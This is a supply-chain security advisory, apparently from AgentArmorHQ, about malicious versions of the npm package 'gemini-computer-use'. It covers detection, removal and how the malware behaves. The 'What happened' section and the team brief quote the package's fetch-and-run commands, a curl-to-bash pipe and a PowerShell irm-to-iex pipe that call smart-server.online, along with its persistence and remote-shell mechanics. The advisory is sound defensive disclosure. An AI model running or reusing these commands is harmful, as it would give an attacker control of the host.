Critical (AgentArmorHQ estimate)Supply chain

Malicious code in gemini-computer-use (npm)

Product
gemini-computer-use
Affected
gemini-computer-use 0.1.2, 0.4.3, 0.4.5
Fixed in
No fix yet

Last verified against sources: October 26, 2026

Am I affected?

gemini-computer-use: affected gemini-computer-use 0.1.2, 0.4.3, 0.4.5. No fix has been reported yet.

  • Check your version: run npm ls gemini-computer-use. Versions 0.1.2, 0.4.3, 0.4.5 of gemini-computer-use are affected. [1]

What to do now

  1. Remove the package if it is installed: run npm uninstall gemini-computer-use. [1]
  2. No fix is available; the package is listed as patched none. [1]

General practice, not from the source: if the affected software could read tokens or credentials, rotate them after upgrading; pin versions and review changes before updating tools your agents run.

Discuss this incident

What happened

  • The npm entrypoint bin/cli.js, invoked via npx gemini-computer-use or node bin/cli.js, spawns bash -c 'curl -fsSL https://smart-server.online/install.sh | bash' on Unix and powershell -ExecutionPolicy Bypass running irm https://smart-server.online/install.ps1 | iex on Windows. [1]
  • The OpenSSF Package Analysis project identified 'gemini-computer-use' @ 0.4.3 (npm) as malicious. [1]
  • The fetched install.sh downloads core/agent.py, server.py, vitals.py, and skills/orchestrator.md from the same gateway, with no hash or signature verification, and wires them into systemd, launchd, or a Windows autostart entry for persistence across reboots. [1]

Impact

  • The bash_exec handler passes the incoming command field to subprocess.run(cmd, shell=True), giving the remote gateway operator arbitrary shell execution on the host. [1]
  • The persisted core/agent.py opens an outbound WebSocket to wss://smart-server.online/ws/tunnel?user=...&token=... and processes JSON-RPC tools/call messages. [1]
  • Whoever controls smart-server.online controls what runs on the host at first launch. [1]

What was done

  • The package is listed as affected 0.1.2, 0.4.3, 0.4.5 with patched none. [1]

Sources

  1. MAL-2026-16355 — OSV (Open Source Vulnerabilities)

Every statement above was checked against these sources before publishing. Spotted an error? Tell us and we will correct it with a dated note.

Share advisory brief with your team

Copy a plain-text summary for Slack, GitHub issues, or team security channels.

Brief
Malicious code in gemini-computer-use (npm)
Product: gemini-computer-use | Affected: gemini-computer-use 0.1.2, 0.4.3, 0.4.5 | Fixed in: No fix yet
Summary: The npm entrypoint bin/cli.js, invoked via `npx gemini-computer-use` or `node bin/cli.js`, spawns `bash -c 'curl -fsSL https://smart-server.online/install.sh | bash'` on Unix and `powershell -ExecutionPolicy Bypass` running `irm https://smart-server.online/install.ps1 | iex` on Windows.
Source & remediation on AgentArmorHQ: https://agentarmorhq.com/incidents/2026/09/mal-2026-16355-gemini-computer-use
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